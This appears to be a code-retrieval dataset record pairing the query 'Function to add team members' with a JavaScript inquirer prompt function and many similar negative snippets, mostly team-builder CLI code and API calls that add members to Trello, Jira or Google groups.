[ "0.7498872", "0.725781", "0.6663808", "0.66588676", "0.6361275", "0.63302606", "0.63015854", "0.62267584", "0.61735404", "0.61561763", "0.61337507", "0.61337507", "0.61306924", "0.60567623", "0.6002532", "0.5930929", "0.5906284", "0.58874357", "0.5871443", "0.58313507", "0.58197945", "0.58196443", "0.5810104", "0.5798609", "0.579703", "0.5790411", "0.5751009", "0.5731567", "0.5703535", "0.5698088", "0.56923056", "0.5667028", "0.5619654", "0.5619651", "0.5602543", "0.5563858", "0.5558859", "0.55552953", "0.55461085", "0.5536889", "0.5532823", "0.5523557", "0.5510098", "0.5508145", "0.55001456", "0.54678845", "0.5467472", "0.54640204", "0.5459443", "0.54444623", "0.54438835", "0.5425106", "0.54223484", "0.5420331", "0.54125124", "0.54110235", "0.54072416", "0.54072416", "0.54033923", "0.53953373", "0.5390301", "0.53881335", "0.5387497", "0.53801966", "0.5361847", "0.53513837", "0.5350504", "0.53358614", "0.53267604", "0.5326721", "0.53206414", "0.5302607", "0.52940184", "0.5285052", "0.52817553", "0.52817553", "0.5281571", "0.527085", "0.52600294", "0.5249091", "0.52425146", "0.5241555", "0.5230244", "0.5229555", "0.5218122", "0.52135086", "0.52073264", "0.52058953", "0.52027994", "0.519175", "0.5190374", "0.51787335", "0.51643574", "0.5163219", "0.51476526", "0.51426", "0.5141321", "0.5138288", "0.5135078", "0.5135078" ]
0.5309062
71
Function to add team members
function teamMembers() { inquirer.prompt({ type: 'list', name: 'member', message: 'Would you like to add a new team member?', choices: ["Yes, add an engineer.", "Yes, add an intern.", "No, I've added everyone on my team."] }).then(data => { if (data.member === "Yes, add an engineer.") { addEngineer() } else if (data.member === "Yes, add an intern.") { addIntern() } else { createFile() } }) }
{ "objective": { "self": [], "paired": [], "triplet": [ [ "query", "document", "negatives" ] ] } }
[ "function addTeamMembers() {\n inquirer\n .prompt([\n {\n type: 'list',\n name: 'addMembers',\n message: 'What would you like to do?',\n choices: [\n 'Add an Engineer',\n 'Add an Intern',\n \"I'm all done. Let's see my team!\",\n ],\n },\n ])\n .then(answers => {\n switch (answers.addMembers) {\n case 'Add an Engineer': {\n promptEngineer();\n break;\n }\n case 'Add an Intern': {\n promptIntern();\n break;\n }\n case \"I'm all done. Let's see my team!\": {\n buildTeam();\n break;\n }\n }\n });\n }", "function addTeamMembers() {\n inquirer\n .prompt([\n {\n type: 'list',\n name: 'addMembers',\n message: 'please select one of the following options:',\n choices: [\n 'Add an additional Engineer',\n 'Add an Intern',\n \"generate Team!\",\n ],\n },\n ])\n .then(answers => {\n switch (answers.addMembers) {\n case 'Add an additional Engineer': {\n promptEngineer();\n break;\n }\n case 'Add an Intern': {\n promptIntern();\n break;\n }\n case \"generate Team!\": {\n buildTeam();\n break;\n }\n }\n });\n }", "joinTeam(team) {\n team.members.push(this)\n }", "function addExistingMember(self) {\n show2ListsMembersContainer(self);\n if (!self.list1) {\n getAllTeamMembers(self);\n } \n }", "async addUsersToTeam () {\n\t\tawait new AddTeamMembers({\n\t\t\trequest: this.request,\n\t\t\taddUsers: this.invitedUsers.map(userData => userData.user),\n\t\t\tteam: this.team,\n\t\t\tsubscriptionCheat: this.subscriptionCheat // allows unregistered users to subscribe to me-channel, needed for mock email testing\n\t\t}).addTeamMembers();\n\n\t\t// refetch the users since they changed when added to team\n\t\tawait Promise.all(this.invitedUsers.map(async userData => {\n\t\t\tuserData.user = await this.data.users.getById(userData.user.id);\n\t\t}));\n\t}", "function addMember() {\n inquirer.prompt([\n {\n type: 'list',\n name: 'addMember',\n message: 'What type of member would you like to add?',\n choices: [\"Intern\", \"Engineer\", \"Done, build my team\"]\n },\n\n // switch cases based on what user chooses from list. \n // 'Engineer' returns addEngineer function, 'Intern' returns addIntern function, 'Done' finishes prompt and builds team html page.\n ]).then(res => {\n switch (res.addMember) {\n case 'Engineer':\n return addEngineer();\n\n case 'Intern':\n return addIntern();\n\n case 'Done, build my team':\n return buildTeam();\n\n }\n })\n}", "function addTeam(sender_psid, input){\n let [league, name] = input.split(\" \");\n if(!name){\n return sendMessage(sender_psid, {text: \"@addteam <league> <name>\"});\n }\n SportsDataUtils.getTeams(league, (teams)=> {\n teams = teams.filter(team => {\n return team.name.toLowerCase().includes(name.toLowerCase())\n });\n let tiles = teams.map((team) => {\n return {\n \"title\": team.name,\n \"buttons\":[\n {\n \"type\": \"postback\",\n \"title\": \"Add\",\n \"payload\": \"add:\" + league+\":\"+team.name+\":\"+team.city\n }\n ]\n }\n });\n let response = {\n \"attachment\":{\n \"type\":\"template\",\n \"payload\":{\n \"template_type\":\"generic\",\n \"elements\": tiles,\n }\n }\n };\n if (tiles.length === 0){\n response = {\n text: \"No teams match the name you entered\",\n }\n }\n if (tiles.length > 10){\n response = {\n text: \"Too many teams. Enter a more specific name.\",\n }\n }\n sendMessage(sender_psid, response);\n });\n}", "addTeam (newRank, newName, newVenue, newCity) {\n let newTeam = new Team(newRank, newName, newVenue, newCity)\n// To use for games home rank vs away rank\n this.allTeams.push(newTeam)\n// I know magic number is not a great way to do so, but for this assignment,\n// only have 14 teams, so used magic number\n// rank between 1~7 are in Premiership Division\n if (newRank <= 7) {\n this.allPDTeams.push(newTeam)\n this.allPDRanks.push(newTeam.rank)\n } else {\n// rank between 8~14 are in Championship Division\n this.allCDTeams.push(newTeam)\n this.allCDRanks.push(newTeam.rank)\n }\n }", "function addTeam(name, skill){\n let tempTeam = createTeam(name, skill);\n leagueTeams.push(tempTeam);\n}", "function joinTeam(input) { }", "async function createTeam() {\n\n}", "async addMembersToTalk(parent, args, ctx, info) {\n // check login\n if (!ctx.request.userId) {\n throw new Error('You must be logged in to do that!');\n }\n // check that the user is the member of the talk\n // TODO\n\n // add new members\n // transform array of members\n const members = args.members.map(member => ({ id: member }));\n return ctx.db.mutation.updateTalk(\n {\n data: {\n members: {\n connect: members,\n },\n },\n where: {\n id: args.id,\n },\n },\n info\n );\n }", "function addMember(board,member) {\n var url = 'https://api.trello.com/1/boards/'\n + board\n + '/members/' \n + member\n + '?allowBillableGuest=false&type=normal&key=[YOUR KEY]&token=[YOUR TOKEN]';\n \n var options =\n {\n \"method\" : \"PUT\", \n \"followRedirects\" : true,\n \"muteHttpExceptions\": true\n };\n \n var response = UrlFetchApp.fetch(url, options);\n return 1;\n}", "function createTeam() {\n inquirer\n .prompt([\n {\n type: \"list\",\n name: \"teamMemberChoice\",\n message: `What team member would you like to add?`,\n choices: ['Engineer', 'Intern', `I don't have any team members to add.`]\n }\n ])\n .then((answer) => {\n switch (answer.teamMemberChoice) {\n case 'Engineer':\n createEngineer();\n break;\n case 'Intern':\n createIntern();\n break;\n default: buildTeamHtml();\n };\n });\n}", "function createTeam() {\n inquirer.prompt([\n {\n type: \"list\",\n name: \"memberChoice\",\n message: \"Which type of team member would you like to add?\",\n choices: [\"Engineer\", \"Intern\", \"I don't want to add any more team members\"]\n }\n ])\n .then(userChoice => {\n switch(userChoice.memberChoice) {\n case \"Engineer\":\n addEngineer();\n break;\n case \"Intern\":\n addIntern();\n break;\n default:\n generateBottom();\n console.log('Successfully Created Team File!') }\n });\n}", "async addTeamMembers(useraccountIds, projectRoleId, projectId) {\n if (typeof useraccountIds !== 'undefined' && useraccountIds.length > 0) {\n await this.jiraClientAuth.project.addToRole({\n projectIdOrKey: projectId,\n roleId: projectRoleId,\n newRole: {\n \"user\": useraccountIds\n }\n }).then(data => {\n console.log(\"[JIRA]Team Members added to Jira Project\");\n }).catch(e => console.log('[JIRA]User is already a member of project role-- ', e.message));\n }\n }", "function addTeamMember (){\n console.log(\"----------\");\n console.log(\"Let's build out your team!\");\n return inquirer.prompt([\n {\n type: \"list\",\n name: \"role\",\n message: \"What role does this team member fulfill?\",\n choices: [\"Manager\", \"Engineer\", \"Intern\", \"The Team Is Complete\"],\n }\n ])\n //this will let them choose\n .then(input => {\n switch(input.role) {\n case \"Manager\":\n enterManager();\n break;\n case \"Engineer\":\n enterEngineer();\n break;\n case \"Intern\":\n enterIntern();\n break;\n case \"The Team Is Complete\":\n render(teamTotal);\n createHtml();\n }\n })\n}", "function addGroupMember() {\n var userEmail = 'liz@example.com';\n var groupEmail = 'bookclub@example.com';\n var member = {\n email: userEmail,\n role: 'MEMBER'\n };\n member = AdminDirectory.Members.insert(member, groupEmail);\n Logger.log('User %s added as a member of group %s.', userEmail, groupEmail);\n}", "function GenerateTeam() {\r\n\r\n inquirer.prompt([\r\n {\r\n type: \"list\",\r\n name: \"memberChoice\",\r\n message: \"Please make a team member selection for what you want to add.\",\r\n choices: [\r\n \"Engineer\",\r\n \"Intern\",\r\n \"I don't want to add any more team members\"\r\n ]\r\n }\r\n ]).then(userChoice => {\r\n switch (userChoice.memberChoice) {\r\n case \"Engineer\":\r\n appendEngineer();\r\n break;\r\n case \"Intern\":\r\n appendIntern();\r\n break;\r\n default:\r\n makeTeam();\r\n }\r\n });\r\n }", "function addMember(newmember){\n\t\t\tmembers.create(newmember);\n\t\t}", "function addUserToMembers(project, user, callback) {\n project.addMembers(user, callback);\n }", "add() {\n this.$mdDialog.hide();\n let roles = [];\n if (this.userRole === 'workspace/admin+developer') {\n roles.push('workspace/admin');\n roles.push('workspace/developer');\n } else {\n roles.push(this.userRole);\n }\n\n this.callbackController.callbackMemberAdd(this.userEmail, roles);\n }", "function addNewTeamToDb(input) {\n //check if already in database\n const cachedUserId = Authentication_1.getExtensionContext().globalState.get(\"cachedUserId\");\n const teamName = JSON.stringify(input);\n var teamDoc = db.collection(\"teams\").doc(teamName);\n teamDoc.get().then((doc) => {\n if (doc.exists) {\n console.log(\"Name already in use!\");\n }\n else {\n //create this team and add user as a member\n db.collection(\"teams\").doc(teamName).set({\n members: { cachedUserId },\n });\n //update user's doc\n db.collection(\"users\")\n .doc(cachedUserId)\n .get(\"teams\")\n .then((teamMap) => {\n teamMap[teamName] = \"\";\n db.collection(\"users\").doc(cachedUserId).set({\n teams: teamMap,\n });\n });\n }\n });\n}", "async publishAddToTeam () {\n\t\t// get the team again since the team object has been modified,\n\t\t// this should just fetch from the cache, not from the database\n\t\tconst team = await this.data.teams.getById(this.team.id);\n\t\tawait new AddTeamPublisher({\n\t\t\trequest: this.request,\n\t\t\tbroadcaster: this.api.services.broadcaster,\n\t\t\tusers: this.invitedUsers.map(userData => userData.user),\n\t\t\tteam: team,\n\t\t\tteamUpdate: this.transforms.teamUpdate,\n\t\t\tuserUpdates: this.transforms.userUpdates\n\t\t}).publishAddedUsers();\n\t}", "addMember(groupName, memberName) {\n // This will add the memeber to all the groups with the same name.\n this.groups.filter(g => g.name && g.name.toLowerCase() == groupName.toLowerCase())\n .forEach(g => {\n if (g.members == undefined) {\n g.members = [];\n }\n g.members.push(memberName);\n });\n }", "function makeTeam() {\n\n inquirer.prompt([\n {\n type: \"list\",\n name: \"memberChoice\",\n message: \"Which type of team member would you like to add?\",\n choices: [\n \"Engineer\",\n \"Intern\",\n \"I don't want to add any more team members\"\n ]\n }\n //brings up prompt that allows user to then choose if they want to add a team member of any of the specified positions\n ]).then(userInput => {\n switch(userInput.memberChoice) {\n //gives user the choice to add employees under different roles\n case \"Engineer\":\n newEngineer();\n break;\n case \"Intern\":\n newIntern();\n break;\n default:\n buildTeam();\n }\n });\n }", "async function buildTeam() {\n try {\n const response = await inquirer.prompt([\n {\n type: \"list\",\n message: \"Add another member? Please select from the options below\",\n name: \"memberType\",\n choices: [\"Manager\", \"Engineer\", \"Intern\", \"Done\"]\n }\n ]);\n switch (response.memberType) {\n case \"Manager\":\n addManager();\n break;\n case \"Engineer\":\n addEngineer();\n break;\n case \"Intern\":\n addIntern();\n break;\n case \"Done\":\n writeHTML(managers, engineers, interns);\n break;\n }\n } catch (err) {\n console.log(err);\n }\n}", "function team() {\n inquirer.prompt([\n {\n type: \"list\",\n name: \"memberType\",\n message: \"What type of employee would you like to add?\",\n choices: [\n \"Engineer\",\n \"Intern\",\n \"I don't require any new employees.\"\n ]\n }\n ]).then(function(data) {\n if (data.memberType === \"Engineer\") {\n engineer();\n } else if (data.memberType === \"Intern\") {\n intern();\n } else (outputTeam());\n \n });\n}", "async function _createTeam(teamName, userId, icon) {\n const team = {\n name: teamName,\n score: 0\n };\n\n // Create team\n let teamRef = await firebase\n .database()\n .ref(\"/teams/\")\n .push(team);\n\n let teamId = teamRef.key;\n\n // Use the last six digits of team id for the team code\n let teamCode = teamId.slice(-6);\n\n // Add code field to team\n await firebase\n .database()\n .ref(`/teams/${teamId}`)\n .update({ code: teamCode, icon });\n\n return [teamId, teamCode];\n}", "addTeam (title) {\n console.log('addTeam:', title);\n let user = Auth.requireAuthentication();\n \n // Validate the data is complete\n check(title, String);\n \n // Validate that the current user is an administrator\n if (user.isAdmin()) {\n // Create the team\n Teams.insert({\n title: title\n });\n } else {\n console.error('Non-admin user tried to add a team:', user.username, title);\n throw new Meteor.Error(403);\n }\n }", "async function addMembers (req, res) {\n res.send(\n await service.addMembers(req.authUser, req.params.id, req.query, req.body)\n )\n}", "function addTeam(teamName) {\n var teamCreateData = {\n messageId: randomFactory.rand(),\n authKey: authKey.value,\n teamName: teamName\n };\n SocketFactory.emit(messageNames.teamsCreate, teamCreateData);\n }", "function SGTeamMember(first, last, age, gender, rank, role, id, greetingText) {\n Person.call(this, first, last, age, gender);\n\n this.rank = rank;\n this.role = role;\n this.id = id;\n}", "addPlayer(team) {\n if (team) {\n const index = this.getTeamSpawn(team)\n this.player = this.newPiece({ team, type: 'warrior', player: true, index })\n }\n }", "function createTeam(){ \n inquirer.prompt([\n {\n type: \"list\",\n name: \"memberChoice\",\n message: \"Which type of team member would you like to add?\",\n choices: [\n \"Engineer\",\n \"Intern\",\n \"I don't want anymore, build the team\"\n ]\n }\n ]).then(userChoice => {\n switch(userChoice.memberChoice){\n case \"Engineer\":\n createEngineer();\n break;\n case \"Intern\":\n createIntern();\n break;\n default:\n buildTeamPage(); \n }\n })\n}", "function generateNewTeamMember() {\n inquirer.prompt([\n { type: \"list\",\n message: \"Which type of team member would you like to add?\",\n name: \"role\",\n choices: [ \n \"Engineer\", \n \"Intern\", \n \"I don't want to add any more team members\",\n ]}])\n .then (response => {\n if (response.role === \"Engineer\"){\n addEngineer();\n } else if (response.role === \"Intern\"){\n addIntern();\n }else{\n // After the user has input all employees desired, call the `render` function (required\n // above) and pass in an array containing all employee objects; the `render` function will\n // generate and return a block of HTML including templated divs for each employee!\n const html = render(employees);\n fs.writeFile(outputPath, html, (err) => {\n if (err) throw err;\n });\n }\n })\n }", "function addNewMemberHandler(members, group) {\n ServerInterface.addUsersToGroup(members, group, (newGroup) => {\n updateGroupMembers(newGroup, users)\n })\n }", "function insertUser(data) {\n\treturn db(\"team_members\").insert(data);\n}", "function testMembers(){\n var members = new Members();\n members.find(\"---Name of test member (guinne pig)--\").sendSlack(\"howdy, in case you wanted to know this function is working\");\n}", "function insertTeamsWithTBA() {\n for (let team_id in teams) { // for each team\n let team = teams[team_id];\n // gets team name via TBA call\n team_api.getTeam(\"frc\" + team, {}, function(error, data, response) {\n if (error) {\n console.error(error);\n } else {\n team_id_to_name[team] = data[\"nickname\"];\n // inserts team information into the \"teams\" page\n insertTeam(team);\n }\n });\n }\n}", "function AddToTeam(props) {\n\treturn(\n\t\t<div className=\"scorecontroller\">\n\t\t <button className=\"team 1 btn\" onClick={props.team1}>Add to Team 1</button>\n\t\t <button className=\"team 2 btn\" onClick={props.team2}>Add to Team 2</button>\n\t\t</div>\n\t);\n}", "function createTeam() {\n //create manager add name (validate is not empty), id(validate has numbers), email(validate has email characters), officenumber(validate has numbers),\n function addManager() {\n inquirer.prompt([\n {\n type: \"input\",\n name: \"managerName\",\n message: \"What is the name of your team manager?\",\n validate: (name) => {\n if (name !== \"\") {\n return true;\n }\n return \"Please enter a valid name of at least one character.\";\n }\n },\n {\n type: \"input\",\n name: \"managerId\",\n message: \"What is the ID of your team manager?\",\n validate: (input) => {\n if (input.match(/^[1-9]\\d*$/)) {\n return true;\n }\n return \"Please enter a valid number.\";\n }\n },\n {\n type: \"input\",\n name: \"managerEmail\",\n message: \"What is the Email of your team manager?\",\n validate: (input) => {\n if (input.match(/\\S+@\\S+\\.\\S+/)) {\n return true;\n }\n return \"Please enter a valid email.\";\n }\n },\n {\n type: \"input\",\n name: \"officeNumber\",\n message: \"What is the office number of your team manager?\",\n validate: (input) => {\n if (input.match(/^[1-9]\\d*$/)) {\n return true;\n }\n return \"Please enter a valid number.\";\n }\n }\n ]).then(answers => {\n const manager = new Manager(answers.managerName, answers.managerId, answers.managerEmail, answers.officeNumber);\n teamMembers.push(manager);\n chooseMembers();\n renderTeam();\n });\n }\n\n function chooseMembers() {\n inquirer.prompt([\n {\n type: \"list\",\n name: \"memberChoice\",\n message: \"Which type of team member would you like to add?\",\n choices: [\n \"Engineer\",\n \"Intern\",\n \"I would not like to add any more team members\"\n ]\n }\n ]).then(answer => {\n switch (answer.memberChoice) {\n case \"Engineer\":\n addEngineer();\n break;\n case \"Intern\":\n addIntern();\n break;\n case \"I would not like to add any more team members\":\n break;\n default:\n renderTeam();\n }\n });\n }\n\n //create intern add name (validate has letters), id(validate is number), email(validate has email characters), school (validate has letters)\n function addIntern() {\n inquirer.prompt([\n {\n type: \"input\",\n name: \"internName\",\n message: \"What is the name of your intern?\",\n validate: (name) => {\n if (name !== \"\") {\n return true;\n }\n return \"Please enter a valid name of at least one character.\";\n }\n },\n {\n type: \"input\",\n name: \"internId\",\n message: \"What is the ID of your intern?\",\n validate: (input) => {\n if (input.match(/^[1-9]\\d*$/)) {\n return true;\n }\n return \"Please enter a valid email.\";\n }\n },\n {\n type: \"input\",\n name: \"internEmail\",\n message: \"What is the Email of your intern?\",\n validate: (input) => {\n if (input.match(/\\S+@\\S+\\.\\S+/)) {\n return true;\n }\n return \"Please enter a valid number.\";\n }\n },\n {\n type: \"input\",\n name: \"internSchool\",\n message: \"What is the name of your intern's school?\",\n validate: (input) => {\n if (input !== \"\") {\n return true;\n }\n return \"Please enter a valid school name of at least one character.\";\n }\n },\n ]).then(answers => {\n const intern = new Intern(answers.internName, answers.internId, answers.internEmail, answers.internSchool);\n teamMembers.push(intern);\n chooseMembers();\n renderTeam();\n });\n }\n\n //create engineer, add name (validate has letters), id(validate is number), email(validate has email characters), github name(validate has letters),\n function addEngineer() {\n console.log(\"Adding engineer\");\n inquirer.prompt([\n {\n type: \"input\",\n name: \"engineerName\",\n message: \"What is the name of your engineer?\",\n validate: (name) => {\n if (name !== \"\") {\n return true;\n }\n return \"Please enter a valid name of at least one character.\";\n }\n },\n {\n type: \"input\",\n name: \"engineerId\",\n message: \"What is the ID of your engineer?\",\n validate: (input) => {\n if (input.match(/^[1-9]\\d*$/)) {\n return true;\n }\n return \"Please enter a valid number.\";\n }\n },\n {\n type: \"input\",\n name: \"engineerEmail\",\n message: \"What is the Email of your engineer?\",\n validate: (input) => {\n if (input.match(/\\S+@\\S+\\.\\S+/)) {\n return true;\n }\n return \"Please enter a valid email.\";\n }\n },\n {\n type: \"input\",\n name: \"github\",\n message: \"What is your engineer's github username??\",\n validate: (input) => {\n if (input !== \"\") {\n return true;\n }\n return \"Please enter a valid username of at least one character.\";\n }\n }\n ]).then(answers => {\n const engineer = new Engineer(answers.engineerName, answers.engineerId, answers.engineerEmail, answers.github);\n teamMembers.push(engineer);\n chooseMembers();\n render\n renderTeam();\n });\n }\n\n //renderTeam, check if path exists, and if not, create one. Otherwise, write \n function renderTeam() {\n if (!fs.existsSync(OUTPUT_DIR)) {\n fs.mkdirSync(OUTPUT_DIR)\n }\n try {\n fs.writeFileSync(outputPath, render(teamMembers), \"utf-8\");\n } catch(err) {\n if (err) {\n console.log(err);\n }\n }\n }\n\n addManager()\n}", "function assignTeam (twiml, context, event, payload) {\n log('assignTeam', event);\n return new Promise((resolve, reject) => {\n const {messages} = context;\n let {Digits} = event;\n Digits = parseInt(Digits);\n const {autoTeam, callerId, goToVM, voice} = payload;\n\n // Repeats the teams menu if caller pressed 0\n if (Digits === 0) {\n twiml.redirect(\n generateCallbackURI(\n context,\n {\n callerId,\n goToVM,\n runFunction: 'teamsMenu'\n }\n )\n );\n // If caller enters an invalid selection, the call ends\n } else if (isNaN(Digits) && autoTeam !== true) {\n twiml.say(\n {voice},\n `${messages.invalidResponse} ${messages.goodbye}`\n );\n // Take the appropriate action based on call or message menu\n } else {\n let {teamsArray} = payload;\n\n // Take the caller to voicemail\n if (goToVM === true) {\n if (teamsArray.length === 1) {\n twiml.redirect(\n generateCallbackURI(\n context,\n {\n callerId,\n goToVM,\n runFunction: 'leaveAMessage',\n teamsArray\n }\n )\n );\n } else if (Digits <= teamsArray.length) {\n teamsArray = [teamsArray[Digits - 1]];\n twiml.redirect(\n generateCallbackURI(\n context,\n {\n callerId,\n goToVM,\n runFunction: 'leaveAMessage',\n teamsArray\n }\n )\n );\n // If the caller entered an invalid response, the call ends\n } else {\n twiml.say(\n {voice},\n `${messages.invalidResponse} ${messages.goodbye}`\n );\n }\n // Proceed to attempt to build a list of people on-call\n } else if (teamsArray.length === 1) {\n twiml.redirect(\n generateCallbackURI(\n context,\n {\n callerId,\n goToVM,\n runFunction: 'buildOnCallList',\n teamsArray\n }\n )\n );\n } else if (Digits <= teamsArray.length) {\n teamsArray = [teamsArray[Digits - 1]];\n twiml.redirect(\n generateCallbackURI(\n context,\n {\n callerId,\n goToVM,\n runFunction: 'buildOnCallList',\n teamsArray\n }\n )\n );\n // If the caller entered an invalid response, the call ends\n } else {\n twiml.say(\n {voice},\n `${messages.invalidResponse} ${messages.goodbye}`\n );\n }\n }\n\n resolve(twiml);\n });\n}", "addParticipants(data) {\n return Api().post(\"/participants\", data);\n }", "addMember(member) {\n this.params.beforeAddMember(member);\n this.params.members.push(member);\n this.updateMembersUI();\n this.params.afterAddMember(member);\n }", "function newMember() {\n\tinquirer\n\t\t.prompt([\n\t\t\t{\n\t\t\t\tname: 'empType',\n\t\t\t\ttype: 'list',\n\t\t\t\tmessage: 'Please select member role:',\n\t\t\t\tchoices: ['Engineer', 'Intern', '-- Finish Team --'],\n\t\t\t},\n\t\t])\n\t\t.then((res, err) => {\n\t\t\tif (err) console.error(err);\n\t\t\tswitch (res.empType) {\n\t\t\t\tcase 'Engineer':\n\t\t\t\t\taddEngineer();\n\t\t\t\t\tbreak;\n\t\t\t\tcase 'Intern':\n\t\t\t\t\taddIntern();\n\t\t\t\t\tbreak;\n\t\t\t\tcase '-- Finish Team --':\n\t\t\t\t\trenderTeam();\n\t\t\t}\n\t\t});\n}", "create(name, description = \"\", ownerId, teamProperties = {}) {\r\n const groupProps = {\r\n \"description\": description && description.length > 0 ? description : \"\",\r\n \"owners@odata.bind\": [\r\n `https://graph.microsoft.com/v1.0/users/${ownerId}`,\r\n ],\r\n };\r\n return graph.groups.add(name, name, GroupType.Office365, groupProps).then((gar) => {\r\n return gar.group.createTeam(teamProperties).then(data => {\r\n return {\r\n data: data,\r\n group: gar.group,\r\n team: new Team(gar.group),\r\n };\r\n });\r\n });\r\n }", "function addPokemonToTeam(e) {\n let pokeIndex = \"\"\n if (!e.currentTarget) {\n pokeIndex = e.attributes[2].value;\n }\n else {\n pokeIndex = e.currentTarget.attributes[2].value;\n }\n\n if (currentTeam.length < 6) {\n\n currentTeam.push(pokeIndex);\n getTeamMember(currentTeam[currentTeam.length - 1]);\n\n }\n else {\n document.querySelector(\"#teamStatus\").innerHTML = \"<p>Your team is already full!</p>\";\n }\n}", "function newTeam(msg, done, team) {\n if (Array.isArray(robot.brain.get(team))) {\n return msg.send(`Error: Team already exists. See \\`${msg.match[1]} details ${team}\\`.`, done);\n }\n\n robot.brain.set(team, []);\n msg.send(`Created team: ${team}!`, done);\n }", "function newUser() {\n\tvar mem = document.getElementById(\"newMember\").value;\n\tvar role = document.getElementById(\"newRole\").value;\n\tfor(i = 0; i <= currentProject.members.length; i++){\n\t\tif(i == currentProject.members.length){\n\t\t\tcurrentProject.members[i] = {\n\t\t\t\tname: mem,\n\t\t\t\trole: [role]\n\t\t\t};\n\t\t\tbreak;\n\t\t}\n\t}\n\tdocument.getElementById(\"AddUser\").style.display = \"none\";\n\tpopTable();\n\tdocument.getElementById(\"newMember\").value = \"\";\n\tdocument.getElementById(\"newRole\").value = \"\";\n}", "function generateTeamProfile() {\n startHTML();\n addNewEmployee();\n}", "function addEventMember(eventId, memberIndex) {\n // get details from members array\n var memberName = flashTeamsJSON[\"members\"][memberIndex].role;\n var memberUniq = flashTeamsJSON[\"members\"][memberIndex].uniq;\n var memberColor = flashTeamsJSON[\"members\"][memberIndex].color;\n\n // get event\n var indexOfEvent = getEventJSONIndex(eventId);\n\n // add member to event\n flashTeamsJSON[\"events\"][indexOfEvent].members.push({name: memberName, uniq: memberUniq, color: memberColor});\n\n // render on events\n renderAllMemberCircles();\n}", "addMember(student)\n {\n this._members.push(student);\n }", "addMember() {\n var newMember = {id: `member${this.state.members.length}`, name: ''};\n this.setState((prevState) => ({members: [...prevState.members, newMember]}));\n }", "function addMember(theForm, teamId) {\n // ---- ORIGINAL VERSION WITHOUT IMAGE ----\n // $.post(`/api/teams/${teamId}/members`, $(\"#memberForm\").serialize(), function(data) {})\n // .done(function() {\n // alert(\"Registered successfully!\");\n // //location.href = \"details.html?teamId=\" + teamId;\n // })\n // .fail(function() {\n // //alert(\"There was a problem, please try again.\");\n // $(\"<li>Please check that you meet the requirements!</li>\").appendTo($(\"#errorMessages\"));\n // });\n\n var formData = new FormData(theForm);\n\n $.ajax({\n type: \"POST\",\n url: `/api/teams/${teamId}/members`,\n data: formData,\n processData: false,\n contentType: false\n })\n .done(function() {\n //alert(\"Edit team successful!\");\n location.href = \"details.html?teamId=\" + teamId;\n })\n .fail(function() {\n //alert(\"There was a problem, please try again.\");\n $(\"<li>Please see if the requirements conflict with an existing team member!</li>\").appendTo($(\"#errorMessages\"));\n });\n\n return false;\n}", "function createTeam() {\n const team = render(teamMembers);\n fs.writeFile(outputPath, team , (err) =>\n \n err ? console.log(err) : console.log(\"Success!\"));\n}", "function upsertUsersTeamName(users, team, teamid) {\n users.forEach(function(user) {\n upsertUserTeamName(user, team, teamid);\n });\n}", "createTeam(properties) {\r\n return this.clone(Group, \"team\").putCore({\r\n body: jsS(properties),\r\n });\r\n }", "function insertTeams() {\n // first, check to see if team_id_to_name matches teams\n if (fs.existsSync(\"./resources/teams.json\")) {\n // if there is a teams file, use that to determine team names at the event\n let file = JSON.parse(fs.readFileSync(\"./resources/teams.json\"));\n // if the list of teams we know equal to the keys of the teams.json file\n if (arraysEqual(teams, Object.keys(file))) {\n // put all the info into team_id_to_name\n team_id_to_name = file;\n for (let team_id in teams) {\n let team = teams[team_id];\n // adds them to the \"teams page\"\n insertTeam(team);\n }\n // if the arrays were not equal, just pull from TBA\n } else {\n insertTeamsWithTBA();\n }\n // if we don't know team names, get them from TBA\n } else {\n insertTeamsWithTBA();\n }\n}", "function newChatMembers(msg){\n\tif(!('new_chat_members' in msg)) return;\n\tif(msg.from.id == msg.new_chat_members[0].id) return; // someone simply joined without being invited\n\tif(!(msg.from.id in players)){\n\t\tplayers[msg.from.id] = new Player(msg.from,-1);\n\t}\n\tfor(var i = 0; i < msg.new_chat_members.length; i++){\n\t\tplayers[msg.new_chat_members[i].id] = new Player(msg.new_chat_members[i],msg.from.id);\n\t}\n\tsaveData();\n}", "function addMember() {\n inquirer\n .prompt([\n {\n type: 'input',\n name: 'name',\n message: \"Enter team member's name\",\n default: 'Juan',\n },\n {\n type: 'list',\n name: 'role',\n message: \"Select team member's role\",\n choices: ['Engineer', 'Intern', 'Manager'],\n default: 'Engineer',\n },\n {\n type: 'input',\n name: 'id',\n message: \"Enter team member's id\",\n default: '1',\n },\n {\n type: 'input',\n name: 'email',\n message: \"Enter team member's email address\",\n default: 'juan.sanchez@phila.gov',\n },\n ])\n .then(function ({ name, role, id, email }) {\n let roleInfo = '';\n if (role === 'Engineer') {\n roleInfo = 'GitHub Username';\n } else if (role === 'Intern') {\n roleInfo = 'School Name';\n } else {\n roleInfo = 'Office Number';\n }\n inquirer\n .prompt([\n {\n message: `Enter Team Member's ${roleInfo}`,\n name: 'roleInfo',\n },\n {\n type: 'list',\n message: 'Would you like to add more team members?',\n choices: ['yes', 'no'],\n name: 'moreMembers',\n },\n ])\n .then(function ({ roleInfo, moreMembers }) {\n let newMember;\n if (role === 'Engineer') {\n newMember = new Engineer(name, id, email, roleInfo);\n } else if (role === 'Intern') {\n newMember = new Intern(name, id, email, roleInfo);\n } else {\n newMember = new Manager(name, id, email, roleInfo);\n }\n employees.push(newMember);\n addHtml(newMember).then(function () {\n if (moreMembers === 'yes') {\n addMember();\n } else {\n finishHtml();\n }\n });\n });\n });\n}", "function addEngineer() {\n inquirer.prompt([\n {\n type: \"input\",\n name: \"name\",\n message: \"What is your engineer's name?\",\n },\n {\n type: \"input\",\n name: \"id\",\n message: \"What is your engineer's id?\",\n },\n {\n type: \"input\",\n name: \"email\",\n message: \"What is your engineer's email?\",\n },\n {\n type: \"input\",\n name: \"github\",\n message: \"What is your engineer's GitHub username?\",\n }]).then(answers => {\n const engineer = new Engineer(answers.name, answers.id, answers.email, answers.github) \n teamMembers.push(engineer);\n generateEngineerHTML(engineer);\n createTeam();\n\n });\n \n\n }", "function createTeamMember() {\n SGTeamMember.prototype = Object.create(Person.prototype);\n Object.defineProperty(SGTeamMember.prototype, 'constructor', {\n value: SGTeamMember,\n enumerable: false,\n writable: true });\n\n //Adding a SGTeamMember greeting\n SGTeamMember.prototype.greeting = function () {\n return \"Hi. My name is \" + this.rank + \" \" + this.name.first + \" \"\n + this.name.last + \". I am the \" + this.role + \" of this team.\";\n };\n\n //Instantiate the SGTeamMember object\n var teamMember = new SGTeamMember(document.getElementById(\"first\").value,\n 